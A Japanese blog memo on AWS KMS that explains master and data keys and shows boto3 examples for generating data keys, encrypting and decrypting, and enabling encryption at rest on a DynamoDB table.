(サンプルアプリをそのまま動かすには、パーティションキーの名前を「userid」にして、その他のカラムは全てstring型にしておいてください)

AWS KeyManagementService

AWS KeyManagementServiceについて調査したので、そのときのメモ書きを置いておきます。

KeyManagementServiceというサービス単体で存在しているわけではないので、サービス検索でKMSなど入力しても出てこないので注意><

IAM→暗号化キーからKMSのコンソールにいくことができます。

What's KMS?

・データの暗号化に使用される暗号化キーの作成と管理を容易にするマネージド型サービス
AWS KMS で作成したマスターキーは、FIPS 140-2 検証済み暗号化モジュールによって保護
(FIPS・・連邦情報処理標準、FIPS140-2は暗号モジュールのためのセキュリティ要求)

KMSに統合されている他のAWSサービスの一覧はこちら。大体対応していることがわかります。
https://aws.amazon.com/jp/kms/details/#integration

マスターキーとデータキー

公開鍵暗号化方式ではないので、公開鍵/秘密鍵といった用語は出てきません。

データキーでデータの暗号化/復号化どちらも可能です。
そのデータキー自体を暗号化/復号化するためのものがマスターキーになります。

KMSではこのマスターキーを管理(作成、更新、無効化、有効化)する仕組みを提供しています。
マスターキーは自身のローカルストレージなどに保存されることはありません。常にKMSを経由して使用します。

データキーに関しましては、作成とデータキー自体の暗号化/復号化が可能です。
データキーは作成した段階で、暗号化済みデータキーと平文のデータキーがダウンロードされます。
平文データキーが漏れると誰でもデータを復号化できてしまいますので、暗号化処理が終わったら破棄するようにしましょう。
(逆に、暗号化済みデータキーを破棄するとデータを復号できなくなります)

How to use KMS?

KMS APIPython経由で叩いて動作を試してみます。

データキー(平文/暗号化済み)の作成

#coding: utf-8
import boto3

kms_client = boto3.client('kms')

key_id = 'arn:aws:kms:us-east-1:****:key/******'

response = kms_client.generate_data_key(
    KeyId=key_id,
    KeySpec='AES_256'
)

plaintext_key = response['Plaintext']

encrypted_key = response['CiphertextBlob']



key_idですが、ARNじゃなくてKeyIdそのものでも、エイリアス名でも良いらしいです。
(ただしエイリアス名の時はalias/をつける)

・・・すると、何かエラーが出ました。

botocore.errorfactory.NotFoundException: An error occurred (NotFoundException) when calling the GenerateDataKey operation: Invalid arn

マスターキーを作成したリージョンと作業中のリージョンが違うのが原因みたいです。
この点を修正すると、うまく通りました。

plaintext_key、encrypted_keyを出力すると、バイト列が出てきます。

暗号化/復号化

次に、平文のデータキーを使ってデータを暗号化して見ます。
Encrypt用のAPIが用意されているので、それを使って暗号化していきます。

response = kms_client.encrypt(
    KeyId=key_id,
    Plaintext=b'hoge_password'
)

encrypted = response['CiphertextBlob']

これで、暗号化された文字列を取得できます。

encryptedを複合してみます。

decryptResponse = kms_client.decrypt(
    CiphertextBlob=encrypted,
)

decrypted = decryptResponse['Plaintext']

暗号化文字列の中にメタデータとしてどのマスターキーが使われたかなどの情報があるようですね。
暗号化コンテキストが存在する場合は、復号化のときも同じコンテキストを指定しないと復号に失敗します。

DynamoDBとの連携

次は、DynamoDBに書き込むデータを暗号化してみます。

DynamoDBでテーブルを作る時に「保管時の暗号化」というオプションがあるので、これを有効にします。
こうすることで、該当テーブル内のすべて(テーブル、インデックス)のデータが暗号化されます。
また、全てのテーブルの暗号化で単一のサービスデフォルトキーを使用します。
DynamoDB ストリームのデータは暗号化されません。

この状態で適当なデータを書き込んで見ます。

import boto3
from boto3.dynamodb.conditions import Key, Attr
 
dynamodb = boto3.resource('dynamodb')
table = dynamodb.Table('TestKMS')

with table.batch_writer() as batch:
    batch.put_item(
        Item={
            'id': '1',
            'password': 'hoge_password'
        }
    )
    batch.put_item(
        Item={
            'id': '2',
            'password': 'hoge_hoge_password'
        }
    )

scanしてみます。

response = table.scan()
print(response["Items"])
[{'id': '2', 'password': 'hoge_hoge_password'}, {'id': '1', 'password': 'hoge_password'}]

Boto3が暗黙的に復号してくれるようなので、様子はわからないですね。。

また、IAMの暗号化キーへ行ってみると「aws/dynamodb」というエイリアスがついたマスターキーが生成されていることがわかります。


全データだけでなく、特定カラムのみ暗号化させたい場合や、DynamoDB ストリームを使う場合、マスターキーをローテションさせたい場合などは直接暗号化済み文字列を流してやる必要があるようです。